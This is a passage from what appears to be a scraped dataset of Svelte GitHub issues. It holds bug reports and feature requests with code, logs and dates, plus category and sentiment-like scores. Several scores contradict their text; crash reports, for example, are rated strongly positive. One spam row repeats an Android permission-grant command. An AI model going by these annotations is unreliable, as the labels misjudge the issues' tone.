const elements = $derived($localState.elements);
```

and here the derived value do not get updated when store get updated

### Reproduction

see reproduction and see commented code where I use `$effect` to make it work : https://svelte.dev/playground/db42d498c17941a89e33680f3b3d58a8?version=latest

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (16) x64 AMD Ryzen 7 PRO 6850U with Radeon Graphics
    Memory: 7.14 GB / 30.13 GB
    Container: Yes
    Shell: 4.0.2 - /usr/bin/fish
  Binaries:
    Node: 24.11.1 - /home/wighawag/.volta/tools/image/node/24.11.1/bin/node
    Yarn: 1.22.22 - /home/wighawag/.volta/tools/image/yarn/1.22.22/bin/yarn
    npm: 11.6.2 - /home/wighawag/.volta/tools/image/node/24.11.1/bin/npm
    pnpm: 10.24.0 - /home/wighawag/.volta/bin/pnpm
    bun: 1.3.4 - /home/wighawag/.bun/bin/bun
  Browsers:
    Chrome: 143.0.7499.146
    Firefox: 140.6.0esr
    Firefox Developer Edition: 140.6.0esr
```

### Severity

annoyance",,2026-01-17 13:42:44+00:00,2026-01-19 09:11:05+00:00,2,nan,1.8114,let value derived store value does not seem to work in all cases describe the bug i have a store that contains an array i update the array and call store set every subscriber to the store get the new value no problem there but now i want to use it via rune like so and here the derived value do not get updated when store get updated reproduction see reproduction and see commented code where i use to make it work logs system info severity annoyance,others,0.5423
sveltejs/svelte,3815507029,"`""svelte/store""` with Asynchronous Svelte freezes the browser","### Describe the bug

> Related discussion: #15845 

Using an {#await} block inside an {#each} block that iterates over a legacy readable store causes the browser to freeze/crash due to a microtask loop.

It seems that {#await} is re-triggering the promise creation function infinitely because the function returns a new Promise reference every time, and the reactivity system re-evaluates it aggressively.

### Reproduction

This code snippet freezes the browser:

```svelte
<script module lang=""ts"">
  import { readable, type Readable } from ""svelte/store"";

  interface Entity {
    id: string;
  }

  export function f(): Readable<Entity[]> {
    return readable([{ id: crypto.randomUUID() }], (_set, update) => {
      const timer = setInterval(() => {
        update((x) => [...x, { id: crypto.randomUUID() }]);
      }, 1000);

      return () => clearInterval(timer);
    });
  }

  export async function query(entity: Entity): Promise<number[]> {
    return Promise.resolve([1, 2, 3]);
  }
</script>

<script lang=""ts"">
  const entities = f();
</script>

<ul>
  {#each $entities as entity (entity.id)}
    <li>{entity}</li>

    <ul>
      {#each await query(entity) as value}
        <li>{value}</li>
      {/each}
    </ul>
  {/each}
</ul>
```

But this works (using `{#await}`):

```svelte
<script module lang=""ts"">
  import { readable, type Readable } from ""svelte/store"";

  interface Entity {
    id: string;
  }

  export function f(): Readable<Entity[]> {
    return readable([{ id: ... [TRUNCATED]",,2026-01-15 01:07:23+00:00,2026-01-25 15:16:46+00:00,0,nan,10.5898,with asynchronous svelte freezes the browser describe the bug related discussion using an await block inside an each block that iterates over a legacy readable store causes the browser to freeze crash due to a microtask loop it seems that await is re triggering the promise creation function infinitely because the function returns a new promise reference every time and the reactivity system re evaluates it aggressively reproduction this code snippet freezes the browser but this works using svelte import readable type readable from svelte store interface entity id string export function f readable return readable id truncated,others,-0.5859
sveltejs/svelte,3813037472,Allow prop type as type argument for $props(),"### Describe the problem

Currently $props() has type `any` and one has to add type to the return model.
```svelte
<script lang=""ts"">
	interface Props {
		adjective: string;
	}
	let { adjective }: Props = $props();
</script>
```

### Describe the proposed solution

I would prefer to add the type as a type argument instead.
```svelte
<script lang=""ts"">
	interface Props {
		adjective: string;
	}
	let { adjective } = $props<Props>();
</script>
```

### Importance

nice to have",,2026-01-14 12:37:27+00:00,2026-01-14 12:41:39+00:00,1,nan,0.0029,allow prop type as type argument for props describe the problem currently props has type and one has to add type to the return model describe the proposed solution i would prefer to add the type as a type argument instead importance nice to have,others,0.2023
sveltejs/svelte,3812671184,Svelte boundary doesn't mark his path has dynamic,"### Describe the bug

If you have a completely static svelte boundary right not the content is not shown at all. I've already fixed it in #17429 but I'll open a separate PR so we can merge it regardless.

```svelte
<div>
	<svelte:boundary>
		<div>cool</div>
	</svelte:boundary>
</div>
```

### Reproduction

1. visit this [repl](https://svelte.dev/playground/hello-world?version=5.46.3#H4sIAAAAAAAAE22LSwrCMBCGr1L-lUKw-xAEd97BukibKQTGpDTTF6V3l7ToRrffY0WwL4LGnZhjMcWeXXEi54XcGQqtZ0rQjxWydLnLAOpz3brukkZiyay2if7xJgahIAkaxvnxWoVKzGF1HYfgbL_ssJLdNzGyKb9l-ZseFgpCs0BLP9D2VBDrefLBQbeWE21vUBSVZN0AAAA)
2. see that nothing is rendered

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",,2026-01-14 10:57:24+00:00,2026-01-16 21:35:06+00:00,0,nan,2.4428,svelte boundary doesn t mark his path has dynamic describe the bug if you have a completely static svelte boundary right not the content is not shown at all i ve already fixed it in but i ll open a separate pr so we can merge it regardless reproduction visit this repl see that nothing is rendered logs system info severity annoyance,others,-0.4854
sveltejs/svelte,3812655352,Hydration mismatch if blocks that don't change hydration nodes are inside a normal tag,"### Describe the bug

While working on #17429 I found that if you have something like this

```svelte
<select>
	{#snippet test()}
		some snippet
	{/snippet}
	<option>cool</option>
</select>
```
our compiler pushes a reset since the snippet select doesn't contain only text

https://github.com/sveltejs/svelte/blob/6d90b96e990d9dd45f55effb4431393c3e610937/packages/svelte/src/compiler/phases/3-transform/client/visitors/RegularElement.js#L358-L360

But in this case, the snippet doesn't set `hydrate_node` (since it's just declared) meaning the reset will throw an hydration mismatch.

### Reproduction

1. visit https://www.sveltelab.dev/o603gnio0hx8z93
2. check the console
3. verify the hydration mismatch is logged

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2026-01-14 10:53:39+00:00,2026-01-16 21:33:12+00:00,0,nan,2.4441,hydration mismatch if blocks that don t change hydration nodes are inside a normal tag describe the bug while working on i found that if you have something like this our compiler pushes a reset since the snippet select doesn t contain only text but in this case the snippet doesn t set since it s just declared meaning the reset will throw an hydration mismatch reproduction visit check the console verify the hydration mismatch is logged logs system info severity annoyance,others,-0.5647
sveltejs/svelte,3800271713,Await before $props throws during compile,"### Describe the bug

The compiler throws when you use `await` before `$props()` in a Svelte component. 

### Expected

It should fail gracefully (i.e. with a warning) if the pattern is not allowed instead of erroring, or not at all if syntax is valid.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.46.1#H4sIAAAAAAAACm2MMQvCMBBG_0o4HFoICuIUq-Dm6G4dYnPFwDUJubNVSv-7ZNDJ9X3vfTMEOyAYOCNRVFPM5FSFzgu6GjT0npDBXGeQdypeAaC_1SmlNY9IUtjdMv7jXQyCQRgMNNxln-TYhlbsZL2oS46DZ1xn5EgjVrttvS9rFwOLmlX38OQyBrWog1qlHBNXxWg2vyvQIPgSMJKfuNw0iPU0-eDA9JYYlw_HayEH5QAAAA

### Logs

```shell
N/A
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-01-10 19:49:57+00:00,2026-01-23 21:43:32+00:00,0,nan,13.0789,await before props throws during compile describe the bug the compiler throws when you use before in a svelte component expected it should fail gracefully i e with a warning if the pattern is not allowed instead of erroring or not at all if syntax is valid reproduction logs system info severity annoyance,others,-0.7096
sveltejs/svelte,3800267626,bind:this Fails (NULL) in Child Components When Parent Layout Contains Async Operations,"### Describe the bug

### Summary
`bind:this` with `$state` returns `null` in child components when the parent `+layout.svelte` contains or references async operations, even after the component is fully mounted in the DOM.

### Reproduction

**`+layout.svelte` (broken - async present)**
```svelte
<script>
	let { children } = $props();
	
	const fetchItems = async () => {
		await new Promise(resolve => setTimeout(resolve, 100));
		return [{ id: '1', label: 'Item' }];
	};
	
	// Even just declaring the async fn breaks child bind:this
</script>

{@render children?.()}
```

**`+page.svelte`**
```svelte
<script>
	let el = $state(null);
</script>

<h1 bind:this={el}>test</h1>

<pre>element: {el ?? 'still not bound'}</pre>
```

**Result:** `el` stays `null` permanently.

---

**`+layout.svelte` (working - no async)**
```svelte
<script>
	let { children } = $props();
</script>

{@render children?.()}
```

**Result:** `el` correctly binds to the `<h1>` element.

### Expected Behavior
`bind:this` should populate the `$state` variable with the DOM element regardless of async operations in parent layouts.

### Actual Behavior
The bound variable remains `null` when parent layout contains async functions.

### Environment
- Svelte 5
- SvelteKit

### Reproduction

https://www.sveltelab.dev/z8fx2dm5hl69pdq

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (10) arm64 unknown
    Memory: 6.42 GB / 15.35 GB
    Cont... [TRUNCATED]",awaiting submitter,2026-01-10 19:45:06+00:00,2026-03-16 12:11:22+00:00,3,awaiting submitter,64.6849,bind this fails null in child components when parent layout contains async operations describe the bug summary with returns in child components when the parent contains or references async operations even after the component is fully mounted in the dom reproduction broken async present result stays permanently working no async result correctly binds to the element should populate the variable with the dom element regardless of async operations in parent layouts the bound variable remains when parent layout contains async functions environment svelte sveltekit reproduction logs system info shell system os linux debian gnu linux bookworm bookworm cpu arm unknown memory gb gb cont truncated,others,-0.8779
sveltejs/svelte,3800210855,Can't use snippet in `{@const}`,"### Describe the bug

It's no longer possible to reference snippets in `{@const}` declarations.

This bug appeared when upgrading Svelte, it seems to have been introduced in [5.38.0](https://github.com/sveltejs/svelte/releases/tag/svelte%405.38.0) as this is the earliest version I can reproduce it in, possibly caused by #16542.

### Reproduction

[Playground link](https://svelte.dev/playground/4c945d6b09534f8c8341f42f7af399d7?version=5.38.0) (change to any earlier version and it works)

### Logs

```shell
can't access lexical declaration 'two' before initialization in <unknown> in App.svelte in __wrapper.svelte
```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2026-01-10 18:51:08+00:00,2026-01-22 18:30:46+00:00,0,nan,11.9859,can t use snippet in describe the bug it s no longer possible to reference snippets in declarations this bug appeared when upgrading svelte it seems to have been introduced in as this is the earliest version i can reproduce it in possibly caused by reproduction playground link change to any earlier version and it works logs system info severity blocking an upgrade,others,-0.8689
sveltejs/svelte,3799546500,"`{@html await ...}` fails to hydrate (TypeError: can't access property ""nodeType"", node is null)","### Describe the bug

Hi!

The following code will fail to hydrate:

```svelte
<div>{@html await Promise.resolve(`<span>Foo</span>`)}</div>
```

with the following error on page load:

```
Failed to hydrate:  TypeError: can't access property ""nodeType"", node is null
  in <unknown>
  in +layout.svelte
  in root.svelte
    skip_nodes /node_modules/.vite/deps/chunk-KMT2UU7B.js?v=e3c9e892:4315
    async /node_modules/.vite/deps/chunk-U7GRKH4V.js?v=e3c9e892:468
    _page /src/routes/+page.svelte:18
    effect2 /node_modules/.vite/deps/chunk-U7GRKH4V.js?v=e3c9e892:313
    update_reaction /node_modules/.vite/deps/chunk-KMT2UU7B.js?v=e3c9e892:3434
    update_effect /node_modules/.vite/deps/chunk-KMT2UU7B.js?v=e3c9e892:3562
```


### Reproduction

1. Open https://www.sveltelab.dev/w1b7sa6ng33f484
2. Check the browser console

### Logs

```shell

```

### System Info

```shell
Svelte 5.46.1
```

### Severity

annoyance",,2026-01-10 11:20:54+00:00,2026-01-23 22:08:11+00:00,0,nan,13.4495,fails to hydrate typeerror can t access property nodetype node is null describe the bug hi the following code will fail to hydrate with the following error on page load reproduction open check the browser console logs system info severity annoyance,bug,-0.9201
sveltejs/svelte,3796695958,bun run build prints “done” but the process hangs and never exits.,"### Describe the bug

bun run build prints “done” but the process hangs and never exits.

### Reproduction

[my-app.zip](https://github.com/user-attachments/files/24526624/my-app.zip)

### Logs

```shell
$ bunx --bun vite build
vite v7.3.1 building ssr environment for production...
✓ 217 modules transformed.
vite v7.3.1 building client environment for production...
✓ 187 modules transformed.
.svelte-kit/output/client/_app/version.json                                                         0.03 kB │ gzip:  0.05 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-symbols2-400-normal.CpeG9ob9.woff         4.47 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-symbols2-400-normal.C6JptOil.woff2        5.03 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-ext-400-normal.BQ5yw6bY.woff        6.62 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-cyrillic-400-normal.DUd3efVn.woff         7.43 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-ext-400-normal.Be4g_LSk.woff2       7.56 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-400-normal.B_0AmgK7.woff            8.48 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-cyrillic-400-normal.BJkDdjbt.woff2        9.32 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-latin-ext-400-normal.CbD3vWRE.woff        9.89 kB
.svelte-kit/output/client/_app/immutable/assets/fira-mono-greek-400-normal.ftNhKy_S.woff2          10.53 kB
.svelte-... [TRUNCATED]",,2026-01-09 12:02:53+00:00,2026-01-12 07:54:40+00:00,1,nan,2.8276,bun run build prints done but the process hangs and never exits describe the bug bun run build prints done but the process hangs and never exits reproduction my app zip logs shell bunx bun vite build vite v building ssr environment for production modules transformed vite v building client environment for production modules transformed svelte kit output client app version json kb gzip kb svelte kit output client app immutable assets fira mono symbols normal cpeg ob woff kb svelte kit output client app immutable assets fira mono symbols normal c jptoil woff kb svelte kit output client app immutable assets fira mono greek ext normal bq yw by woff kb svelte kit output client app immutable assets fira mono cyrillic normal dud efvn woff kb svelte kit output client app immutable assets fira mono greek ext normal be g lsk woff kb svelte kit output client app immutable assets fira mono greek normal b amgk woff kb svelte kit output client app immutable assets fira mono cyrillic normal bjkddjbt woff kb svelte kit output client app immutable assets fira mono latin ext normal cbd vwre woff kb svelte kit output client app immutable assets fira mono greek normal ftnhky s woff kb svelte truncated,others,0.8922
sveltejs/svelte,3794702636,Rendering <svg> with a <sup> inside {@html} is broken,"### Describe the bug

This is supposed to work, right?

https://svelte.dev/playground/7de627c943214d6f9547ce84104ad11f?version=5.46.1

The svg seems correct: https://d3rybyofuhagdh.cloudfront.net/753873e4-59f1-4e19-801a-3291b79bcfed/190_135.svg

but when rendered, I get
```html
<div class=""hello"">

<svg width=""800"" height=""600"" viewBox=""0 0 800 600"" xmlns=""http://www.w3.org/2000/svg"">
  <!-- Title -->
  <text x=""400"" y=""40"" font-size=""28"" text-anchor=""middle"" font-weight=""bold"" fill=""#333"">e</text></svg><sup>iθ</sup> = cos θ + i sin θ

[... the rest of the svg...]
```

Note the added closing svg tag after `</text>`, which of couses breaks the rendering.
This seems to be triggered by the `<sup>iθ</sup>`. if I remove it, the svg is rendered correctly.

### Reproduction

https://svelte.dev/playground/7de627c943214d6f9547ce84104ad11f?version=5.46.1


### Logs

```shell

```

### System Info

```shell
Playground, 5.46.1
```

### Severity

blocking all usage of svelte",,2026-01-08 22:39:05+00:00,2026-01-08 23:27:29+00:00,2,nan,0.0336,rendering with a inside html is broken describe the bug this is supposed to work right the svg seems correct but when rendered i get note the added closing svg tag after which of couses breaks the rendering this seems to be triggered by the if i remove it the svg is rendered correctly reproduction logs system info severity blocking all usage of svelte,others,-0.7543
sveltejs/svelte,3792679161,Possible regression from #17258: {#each} null ref after push() on Proxy array (Svelte 5.45.5+),"### Describe the bug

Array used in [runed](https://github.com/svecosystem/runed)'s [`PersistedState`](https://github.com/svecosystem/runed/tree/main/packages/runed/src/lib/utilities/persisted-state) is broken after svelte `5.45.5`

I don't know how to describe, so read the code in reproduction for the information

Can mostly confirmed it is caused by PR #17258, I made a minimal code to reproduce this issue in svelte playground

### Reproduction

1. use following code:
```svelte
<script>
	import { createSubscriber } from ""svelte/reactivity"";

  let notify = null;
  const subscribe = createSubscriber((update) => {
    notify = update;
    return () => notify = null;
  });

	const arr = new Proxy([], {
		get: (target, property) => {
			subscribe();
			return Reflect.get(target, property);
		},
		set: (target, property, value) => {
			notify?.();
			Reflect.set(target, property, value);
			return true;
		},
	});

  let i = 0;
</script>

{#each arr as item}
	{item}
{/each}

<button onclick={()=>arr.push(++i)}>add</button>
```

2. Click `add`

Working: https://svelte.dev/playground/063a3fb7f99443268f2f072b83a68e26?version=5.45.4

Broken: https://svelte.dev/playground/063a3fb7f99443268f2f072b83a68e26?version=5.45.5


### Logs

```shell
TypeError: Cannot read properties of null (reading 'start')
    at move (playground:output:5737:47)
    at reconcile (playground:output:5554:6)
    at commit (playground:output:5377:4)
    at #resolve (playground:output:1213:46)
    at Batch.process ... [TRUNCATED]",,2026-01-08 12:25:14+00:00,2026-01-27 22:47:48+00:00,2,nan,19.4323,possible regression from each null ref after push on proxy array svelte describe the bug array used in runed is broken after svelte i don t know how to describe so read the code in reproduction for the information can mostly confirmed it is caused by pr i made a minimal code to reproduce this issue in svelte playground reproduction use following code click working broken logs shell typeerror cannot read properties of null reading start at move playground output at reconcile playground output at commit playground output at resolve playground output at batch process truncated,bug,-0.6705
sveltejs/svelte,3790263638,Migration docs seem out-of-date regarding event passive option,"### Describe the bug

According to the docs on [events](https://svelte.dev/docs/svelte/basic-markup#Events), `ontouchstart` and `ontouchmove` are the events which are passive. But the [migrations docs](https://svelte.dev/docs/svelte/v5-migration-guide#Breaking-changes-in-runes-mode-Touch-and-wheel-events-are-passive) are out-of-date:

>When using onwheel, onmousewheel, ontouchstart and ontouchmove event attributes, the handlers are [passive](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#using_passive_listeners) to align with browser defaults.

PR and release that introduced the discrepancy:
  - https://github.com/sveltejs/svelte/pull/13322
  - https://github.com/sveltejs/svelte/releases/tag/svelte%405.0.0-next.253

### Reproduction

https://svelte.dev/playground/533fefea4fff4c9885c0d6164aef71ea?version=5.46.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (8) x64 Intel(R) Core(TM) i7-8665U CPU @ 1.90GHz
    Memory: 13.90 GB / 31.82 GB
  Binaries:
    Node: 22.12.0 - C:\Users\Stephen\AppData\Local\fnm_multishells\9916_1767807558785\node.EXE
    npm: 10.9.0 - C:\Users\Stephen\AppData\Local\fnm_multishells\9916_1767807558785\npm.CMD
  Browsers:
    Chrome: 143.0.7499.170
    Edge: Chromium (140.0.3485.54)
    Internet Explorer: 11.0.26100.7309
```

### Severity

annoyance",documentation,2026-01-07 20:34:22+00:00,2026-02-06 16:03:16+00:00,0,documentation,29.8117,migration docs seem out of date regarding event passive option describe the bug according to the docs on events and are the events which are passive but the migrations docs are out of date when using onwheel onmousewheel ontouchstart and ontouchmove event attributes the handlers are passive to align with browser defaults pr and release that introduced the discrepancy reproduction logs system info severity annoyance,documentation,-0.2382
sveltejs/svelte,3779109280,Custom element's exported functions are not available synchronously,"### Describe the bug

Custom element's method defined by using `export function` in a svelte component, are not available synchronously. This fails the usage of the element's api immediately after mounted.


### Reproduction

https://stackblitz.com/edit/spvqcm-9amgs8wx?file=src%2Fexample%2FApp.svelte,src%2Fexample%2FComponent.svelte

### Logs

```shell

```

### System Info

```shell
Not related
```

### Severity

annoyance",custom element,2026-01-04 10:46:40+00:00,2026-01-04 12:35:59+00:00,1,custom element,0.0759,custom element s exported functions are not available synchronously describe the bug custom element s method defined by using in a svelte component are not available synchronously this fails the usage of the element s api immediately after mounted reproduction logs system info severity annoyance,others,-0.8201
sveltejs/svelte,3921152988,Crash when binding to factory function using remote functions,"### Describe the bug

When binding to a factory function like this: `<input value={factory(), () => } />`, where `factory` returns a function using the response of a remote function, the app crashes:

<img width=""1177"" height=""153"" alt=""Image"" src=""https://github.com/user-attachments/assets/4fcfde27-1e49-4cf4-80e5-bfb1dc0a7ea1"" />

### Reproduction

https://svelte.dev/playground/hello-world?version=5.50.1#H4sIAAAAAAAACpWQQWrDMBBFrzIdurDBbvaubeim9A5VF7I0oSLKyEjjOMH47kXFaTF00-3n_felWZD1mbDBN_I-wByit1CQdUK2xAqPzlPC5n1BuY2ZywFW99bLOD6lC3nJ2aAT_ZWbwEIsCRtsk4lulF6xEk8C5pPMiSx08GgpugvZQs_aCUicqHxWnEETOP2gr9pIiDfooCih62HJhJJIMkXesg3NdVkVt4ffVW4f6hqO2vkEdd0rbh2Pk0D-XafwuzmEq0IYHNtmM3XLfr0oq_v8usKh37RziKf_aXfv3TuxQqGrYJNPsX5UKNr52bHF5qh9ovULponIFbsBAAA

<!--
Earlier reproduction; remote functions not needed for this to reproduce:

https://www.sveltelab.dev/a1ttnp34o9y3388

This is all that it takes:

```ts
// data.remote.ts
import { query } from ""$app/server"";

export const getChecked = query(async () => {
	return true;
});
```

```svelte
<script>
	// +page.svelte
	import { getChecked } from './data.remote.js';

	let checked = $derived(await getChecked());

	const checkedFactory = () => {
		return () => checked;
	}
</script>

<input type=""checkbox"" bind:checked={checkedFactory(), () => {}} />
```
-->

Note that this works:

```svelte
<input type=""checkbox"" bind:checked={() => checked, () => {}} />
```

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 5.0 undefin... [TRUNCATED]",,2026-01-02 08:08:41+00:00,2026-02-11 15:25:16+00:00,1,nan,40.3032,crash when binding to factory function using remote functions describe the bug when binding to a factory function like this where returns a function using the response of a remote function the app crashes reproduction earlier reproduction remote functions not needed for this to reproduce this is all that it takes note that this works logs system info shell system os linux undefin truncated,bug,-0.6705
sveltejs/svelte,3768699535,async svelte bug with remote function,"### Describe the bug

if i use remote  function at the top it will failed but does not fail if  it is at the end of script tag


### Reproduction

https://svelte.dev/playground/hello-world?version=5.46.1#H4sIAAAAAAAACm2OQUvEMBBG_8oweEig6Hqt28LePHo3HsZmCoHspCST7Urpf5dUxIvX930P3oZCV8YeXznGBGvK0YNhH5S9xQ7nELlg_76hfi3t1wB2v9ZlWR7LjaM29kmF_-NTEmXRgj2ey5TDoqMTp04jKzQBBnjwnMONvaGVgoLwCm85XUNhQ8NIxiERObTWvjS3mVOqok0tSsrm9LPAXGXSkARqYWNhOyBk1poFjIVhhGcnAHsbpiRFgWg4zk6OLjk__WXK1gp3JxuRsU0S7FD5rthrrrx_dKgU4hrEYz9TLLx_A4tO23JVAQAA

### Logs

```shell
about:srcdoc:1  Uncaught (in promise) TypeError: fn is not a func

	in <unknown>
	in __wrapper.svelte

    at update_reaction (playground:output:4074:17)
    at execute_derived (playground:output:2514:13)
    at update_derived (playground:output:2530:15)
    at get (playground:output:4366:5)
    at Array.map (<anonymous>)
    at eval (playground:output:3597:52)
    at update_reaction (playground:output:4074:17)
    at update_effect (playground:output:4249:19)
    at create_effect (playground:output:3473:5)
    at eval (playground:output:3597:4)
about:srcdoc:1  Uncaught (in promise) TypeError: fn is not a function

	in <unknown>
	in __wrapper.svelte

    at update_reaction (playground:output:4074:17)
    at execute_derived (playground:output:2514:13)
    at update_derived (playground:output:2530:15)
    at get (playground:output:4366:5)
    at Array.map (<anonymous>)
    at eval (playground:output:3597:52)
    at update_reaction (playground:o... [TRUNCATED]",,2025-12-30 01:15:02+00:00,2026-03-17 12:45:23+00:00,0,nan,77.4794,async svelte bug with remote function describe the bug if i use remote function at the top it will failed but does not fail if it is at the end of script tag reproduction logs shell about srcdoc uncaught in promise typeerror fn is not a func in in wrapper svelte at update reaction playground output at execute derived playground output at update derived playground output at get playground output at array map at eval playground output at update reaction playground output at update effect playground output at create effect playground output at eval playground output about srcdoc uncaught in promise typeerror fn is not a function in in wrapper svelte at update reaction playground output at execute derived playground output at update derived playground output at get playground output at array map at eval playground output at update reaction playground o truncated,bug,0.7918
sveltejs/svelte,3768693880,"""pm grant by4a.setedit22 android.permission.WRITE_SECURE_SETTINGS""","### Describe the problem

""pm grant by4a.setedit22 android.permission.WRITE_SECURE_SETTINGS""

### Describe the proposed solution

""pm grant by4a.setedit22 android.permission.WRITE_SECURE_SETTINGS""

### Importance

nice to have",,2025-12-30 01:10:55+00:00,2025-12-30 02:50:51+00:00,0,nan,0.0694,pm grant by a setedit android permission write secure settings describe the problem pm grant by a setedit android permission write secure settings describe the proposed solution pm grant by a setedit android permission write secure settings importance nice to have,others,0.9485
sveltejs/svelte,3774987024,Falsy component produces Internal error,"### Describe the bug

Although Svelte documentation [states](https://svelte.dev/docs/svelte/legacy-svelte-component) that a falsy value is acceptable and the component simply doesn't render, in SvelteKit a falsy value results in an error.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-6qvfvh6n?file=src%2Froutes%2F%2Bpage.svelte

+page.svelte

```svelte
<script>
	let Component = $state();
</script>

<h1>Falsy component test</h1>

<Component/>
```

Console:

```bash
[500] GET /
TypeError: Component is not a function
    at eval (src/routes/+page.svelte:19:4)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:198:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:223:22)
    at _page (src/routes/+page.svelte:10:13)
    at eval (.svelte-kit/generated/root.svelte:73:7)
    at eval (src/routes/+layout.svelte:19:4)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:198:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:223:22)
    at _layout (src/routes/+layout.svelte:10:13)
```

### Logs

```Shell

```

### System Info

```Shell
SvelteKit 2.49.1
```

### Severity

serious, but I can work around it

### Additional Information

_No response_",,2025-12-29 09:46:28+00:00,2026-01-26 15:29:13+00:00,4,nan,28.238,falsy component produces internal error describe the bug although svelte documentation states that a falsy value is acceptable and the component simply doesn t render in sveltekit a falsy value results in an error reproduction page svelte console logs system info severity serious but i can work around it additional information no response,bug,-0.5994
sveltejs/svelte,3766709813,Button and selectedcontent slot not supported when using customizable select,"### Describe the bug

When using the customizable select API, you have the option to provide a custom button to be slotted in, allowing you to, for example, style the currently selected content inside the button.

```html
<select>
	<button>
		<selectedcontent></selectedcontent>
	</button>

	{#each options as option}
		<option value={option.value}>{option.label}</option>
	{/each}
</select>
```
(A more complete example can be found in [this playground](https://developer.mozilla.org/en-US/play?uuid=8d56bbf11f0a77edc312d6c3c2c8f1e89904cb7b&state=tVbBjts2EP2VARcFNoW1lhdBsWW0BooWRY4FcuWFEkcSY4okSHrXTpBPKNoCPfSWb%2BilSH6nP9B%2BQkFR0sq7TgIbqADDEvnezNPM8NlvSRs6RSgpauO6NdMAhe2%2FAArFS1RQG3fLiMWQeVRYBUbWr%2FobsBhosexRIyVBQIrHlLQPUJTbEIyenicOisrogDqsi%2BXjlYm8nNjTkrFBGg13XG3xlhFG1j8p5B5hkMKjzGKZYOtP0So%2BFxlFWa6hUtz7W0ZkZTQjwJ3kWSuFQH3LSHBbZGT97%2Ftf%2FyyWEf7AXh%2FSU66sLxQj6%2B95SITZe31BnjDN%2BfL%2BOk3eD6Y5VV7LOx%2FQnS%2Fx42kSX6Z8p8qsWlltUJ8v8%2FcTG53ynSqzlr49X%2BP70zT%2BKH17qkCv%2BQbPV%2FjzaQpfxWyflzg6RvKvZTSwYjkYGlmQyntCSYIsmKbUxr64y7TyDN5GGrcWueO6Qgol9zhY1wum3zH9dcKUZpd5%2BUbqhkJpnECXlWaXIExHJ0242uiQ1byTak%2BBkZeo7jDIijOyAEa%2Bc5KreOu59plHJ%2BsxRGnEPoW4lyK0FFZ5%2FtWL%2BGy5EH3eHFa53fVrHd9lA%2B75zcOia6SOOL4NZtJ2PVPm5RuksLq6dtiNAJv2hfRW8T2FWmGK13BLx5Q9Mv0qzEXWMmSDVfcUrmSjY%2F1qChXqgG7kDp6cpCjcUVilrflGqiyFa7sDb5QUcCH6qw9e8mrTOLPVgsIF9tdhgabyBMe1l3FMKORXz%2F2hCNqaO3SL6bE21dYPAuYpptSTynF%2BsjjniVEZZRyFi2%2F762h2cCbwgAeBjEV9JFpCUljd5AKbxDg%2BtGOptNFD5OGofqKZr7c%2ByHo%2FdivtZD5wFx6afZ0K%2BP%2... [TRUNCATED]",,2025-12-29 07:55:33+00:00,2025-12-29 09:56:31+00:00,1,nan,0.084,button and selectedcontent slot not supported when using customizable select describe the bug when using the customizable select api you have the option to provide a custom button to be slotted in allowing you to for example style the currently selected content inside the button a more complete example can be found in this playground truncated,help,-0.6075
sveltejs/svelte,3763720118,[Async] Transition animations break with experimental.async enabled due to premature {#if} evaluation,"### Describe the bug

First, a quick note: the unusual implementation in the REPL is necessary for bind:offsetWidth to work correctly in my use case, though this detail isn’t directly relevant to the issue at hand.

**Issue Summary**:
When the counter updates (triggering a re-creation of the {#key} block), the {#if} block immediately applies the condition using the **latest** value of the state - bypassing the intermediate or expected rendering steps.

- If I use the key directly (without an update counter), the logic works as expected—but this approach breaks bind:offsetWidth, which is why I can’t use it.
- Disabling experimental.async also resolves the issue and restores correct behavior.

This suggests a timing or scheduling inconsistency in how reactive updates and keyed block re-instantiation interact when experimental.async is enabled.

### Reproduction

https://svelte.dev/playground/d6d94071b1554fc4802b8e2371e438fe?version=5.46.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 13th Gen Intel(R) Core(TM) i7-13620H
    Memory: 14.54 GB / 31.70 GB
  Binaries:
    Node: 22.14.0 - C:\Program Files\nodejs\node.EXE
    npm: 11.2.0 - C:\Program Files\nodejs\npm.CMD
    bun: 1.2.12 - C:\Users\guris\.bun\bin\bun.EXE
  Browsers:
    Chrome: 143.0.7499.170
    Edge: Chromium (141.0.3537.85)
    Internet Explorer: 11.0.26100.7309
```

### Severity

annoyance",awaiting submitter,2025-12-26 16:41:21+00:00,2026-05-21 12:16:55+00:00,2,awaiting submitter,145.8164,async transition animations break with experimental async enabled due to premature if evaluation describe the bug first a quick note the unusual implementation in the repl is necessary for bind offsetwidth to work correctly in my use case though this detail isn t directly relevant to the issue at hand issue summary when the counter updates triggering a re creation of the key block the if block immediately applies the condition using the latest value of the state bypassing the intermediate or expected rendering steps if i use the key directly without an update counter the logic works as expected but this approach breaks bind offsetwidth which is why i can t use it disabling experimental async also resolves the issue and restores correct behavior this suggests a timing or scheduling inconsistency in how reactive updates and keyed block re instantiation interact when experimental async is enabled reproduction logs system info severity annoyance,others,-0.8248
